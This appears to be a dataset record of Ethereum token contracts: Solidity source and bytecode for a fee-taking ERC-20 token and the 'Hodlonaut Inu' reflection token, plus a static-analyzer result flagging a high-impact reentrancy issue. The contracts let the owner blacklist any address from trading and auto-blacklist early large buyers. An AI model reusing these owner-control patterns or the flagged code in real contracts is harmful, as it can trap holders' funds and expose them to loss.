function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 200_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 200_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 5) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 5) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610315578063c3c8cd8014610335578063c9567bf91461034a578063dbe8272c1461035f578063dc1052e21461037f578063dd62ed3e1461039f57600080fd5b8063715018a6146102a35780638da5cb5b146102b857806395d89b411461015c5780639e78fb4f146102e0578063a9059cbb146102f557600080fd5b806323b872dd116100f257806323b872dd14610212578063273123b714610232578063313ce567146102525780636fc3eaec1461026e57806370a082311461028357600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019d57806318160ddd146101cd5780631bbae6e0146101f257600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611635565b6103e5565b005b34801561016857600080fd5b50604080518082018252600981526826a2a0a7282aaa24a760b91b602082015290516101949190611652565b60405180910390f35b3480156101a957600080fd5b506101bd6101b83660046116cc565b610436565b6040519015158152602001610194565b3480156101d957600080fd5b50678ac7230489e800005b604051908152602001610194565b3480156101fe57600080fd5b5061015a61020d3660046116f8565b61044d565b34801561021e57600080fd5b506101bd61022d366004611711565b610490565b34801561023e57600080fd5b5061015a61024d366004611752565b6104f9565b34801561025e57600080fd5b5060405160098152602001610194565b34801561027a57600080fd5b5061015a610544565b34801561028f57600080fd5b506101e461029e366004611752565b610578565b3480156102af57600080fd5b5061015a61059a565b3480156102c457600080fd5b506000546040516001600160a01b039091168152602001610194565b3480156102ec57600080fd5b5061015a61060e565b34801561030157600080fd5b506101bd6103103660046116cc565b610820565b34801561032157600080fd5b5061015a610330366004611785565b61082d565b34801561034157600080fd5b5061015a6108c3565b34801561035657600080fd5b5061015a610903565b34801561036b57600080fd5b5061015a61037a3660046116f8565b610aac565b34801561038b57600080fd5b5061015a61039a3660046116f8565b610ae4565b3480156103ab57600080fd5b506101e46103ba36600461184a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104185760405162461bcd60e51b815260040161040f90611883565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610443338484610b1c565b5060015b92915050565b6000546001600160a01b031633146104775760405162461bcd60e51b815260040161040f90611883565b6702c68af0bb14000081111561048d5760108190555b50565b600061049d848484610c40565b6104ef84336104ea85604051806060016040528060288152602001611a49602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f50565b610b1c565b5060019392505050565b6000546001600160a01b031633146105235760405162461bcd60e51b815260040161040f90611883565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461056e5760405162461bcd60e51b815260040161040f90611883565b4761048d81610f8a565b6001600160a01b03811660009081526002602052604081205461044790610fc4565b6000546001600160a01b031633146105c45760405162461bcd60e51b815260040161040f90611883565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106385760405162461bcd60e51b815260040161040f90611883565b600f54600160a01b900460ff16156106925760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040f565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156106f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071b91906118b8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610768573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078c91906118b8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fd91906118b8565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610443338484610c40565b6000546001600160a01b031633146108575760405162461bcd60e51b815260040161040f90611883565b60005b81518110156108bf5760016006600084848151811061087b5761087b6118d5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108b781611901565b91505061085a565b5050565b6000546001600160a01b031633146108ed5760405162461bcd60e51b815260040161040f90611883565b60006108f830610578565b905061048d81611048565b6000546001600160a01b0316331461092d5760405162461bcd60e51b815260040161040f90611883565b600e5461094d9030906001600160a01b0316678ac7230489e80000610b1c565b600e546001600160a01b031663f305d719473061096981610578565b60008061097e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a0b919061191c565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a88573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048d919061194a565b6000546001600160a01b03163314610ad65760405162461bcd60e51b815260040161040f90611883565b600581101561048d57600b55565b6000546001600160a01b03163314610b0e5760405162461bcd60e51b815260040161040f90611883565b600581101561048d57600c55565b6001600160a01b038316610b7e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040f565b6001600160a01b038216610bdf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040f565b6001600160a01b038216610d065760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040f565b60008111610d685760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040f565b6001600160a01b03831660009081526006602052604090205460ff1615610d8e57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610dd057506001600160a01b03821660009081526005602052604090205460ff16155b15610f40576000600955600c54600a55600f546001600160a01b038481169116148015610e0b5750600e546001600160a01b03838116911614155b8015610e3057506001600160a01b03821660009081526005602052604090205460ff16155b8015610e455750600f54600160b81b900460ff165b15610e72576000610e5583610578565b601054909150610e6583836111c2565b1115610e7057600080fd5b505b600f546001600160a01b038381169116148015610e9d5750600e546001600160a01b03848116911614155b8015610ec257506001600160a01b03831660009081526005602052604090205460ff16155b15610ed3576000600955600b54600a555b6000610ede30610578565b600f54909150600160a81b900460ff16158015610f095750600f546001600160a01b03858116911614155b8015610f1e5750600f54600160b01b900460ff165b15610f3e57610f2c81611048565b478015610f3c57610f3c47610f8a565b505b505b610f4b838383611221565b505050565b60008184841115610f745760405162461bcd60e51b815260040161040f9190611652565b506000610f818486611967565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108bf573d6000803e3d6000fd5b600060075482111561102b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161040f565b600061103561122c565b9050611041838261124f565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611090576110906118d5565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110d91906118b8565b81600181518110611120576111206118d5565b6001600160a01b039283166020918202929092010152600e546111469130911684610b1c565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061117f90859060009086903090429060040161197e565b600060405180830381600087803b15801561119957600080fd5b505af11580156111ad573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806111cf83856119ef565b9050838110156110415760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040f565b610f4b838383611291565b6000806000611239611388565b9092509050611248828261124f565b9250505090565b600061104183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113c8565b6000806000806000806112a3876113f6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112d59087611453565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461130490866111c2565b6001600160a01b03891660009081526002602052604090205561132681611495565b61133084836114df565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161137591815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e800006113a3828261124f565b8210156113bf57505060075492678ac7230489e8000092509050565b90939092509050565b600081836113e95760405162461bcd60e51b815260040161040f9190611652565b506000610f818486611a07565b60008060008060008060008060006114138a600954600a54611503565b925092509250600061142361122c565b905060008060006114368e878787611558565b919e509c509a509598509396509194505050505091939550919395565b600061104183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f50565b600061149f61122c565b905060006114ad83836115a8565b306000908152600260205260409020549091506114ca90826111c2565b30600090815260026020526040902055505050565b6007546114ec9083611453565b6007556008546114fc90826111c2565b6008555050565b600080808061151d606461151789896115a8565b9061124f565b9050600061153060646115178a896115a8565b90506000611548826115428b86611453565b90611453565b9992985090965090945050505050565b600080808061156788866115a8565b9050600061157588876115a8565b9050600061158388886115a8565b90506000611595826115428686611453565b939b939a50919850919650505050505050565b6000826115b757506000610447565b60006115c38385611a29565b9050826115d08583611a07565b146110415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040f565b801515811461048d57600080fd5b60006020828403121561164757600080fd5b813561104181611627565b600060208083528351808285015260005b8181101561167f57858101830151858201604001528201611663565b81811115611691576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461048d57600080fd5b80356116c7816116a7565b919050565b600080604083850312156116df57600080fd5b82356116ea816116a7565b946020939093013593505050565b60006020828403121561170a57600080fd5b5035919050565b60008060006060848603121561172657600080fd5b8335611731816116a7565b92506020840135611741816116a7565b929592945050506040919091013590565b60006020828403121561176457600080fd5b8135611041816116a7565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561179857600080fd5b823567ffffffffffffffff808211156117b057600080fd5b818501915085601f8301126117c457600080fd5b8135818111156117d6576117d661176f565b8060051b604051601f19603f830116810181811085821117156117fb576117fb61176f565b60405291825284820192508381018501918883111561181957600080fd5b938501935b8285101561183e5761182f856116bc565b8452938501939285019261181e565b98975050505050505050565b6000806040838503121561185d57600080fd5b8235611868816116a7565b91506020830135611878816116a7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118ca57600080fd5b8151611041816116a7565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611915576119156118eb565b5060010190565b60008060006060848603121561193157600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561195c57600080fd5b815161104181611627565b600082821015611979576119796118eb565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119ce5784516001600160a01b0316835293830193918301916001016119a9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0257611a026118eb565b500190565b600082611a2457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a4357611a436118eb565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ccf44d17b6a958100717cedc85a9378f907fe9435dac7468415389d2cdcd09e564736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,288 |
0xb139e755D071C70C14b859cd59b351dDd04c57F7
|
/*
HODLONAUT INU: $HODLO
Tg: https://t.me/hodlonautinu
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Hodlonaut is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Hodlonaut Inu";
string private constant _symbol = "HODLO";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _devFund;
address payable private _marketingFunds;
address payable private _buybackWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable devFundAddr, address payable marketingFundAddr, address payable buybackAddr) {
_devFund = devFundAddr;
_marketingFunds = marketingFundAddr;
_buybackWalletAddress = buybackAddr;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devFund] = true;
_isExcludedFromFee[_marketingFunds] = true;
_isExcludedFromFee[_buybackWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (20 seconds);
}
if (block.number <= launchBlock + 2 && amount == _maxTxAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
bots[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_devFund.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(4).div(10));
_buybackWalletAddress.transfer(amount.mul(2).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _devFund);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _devFund);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
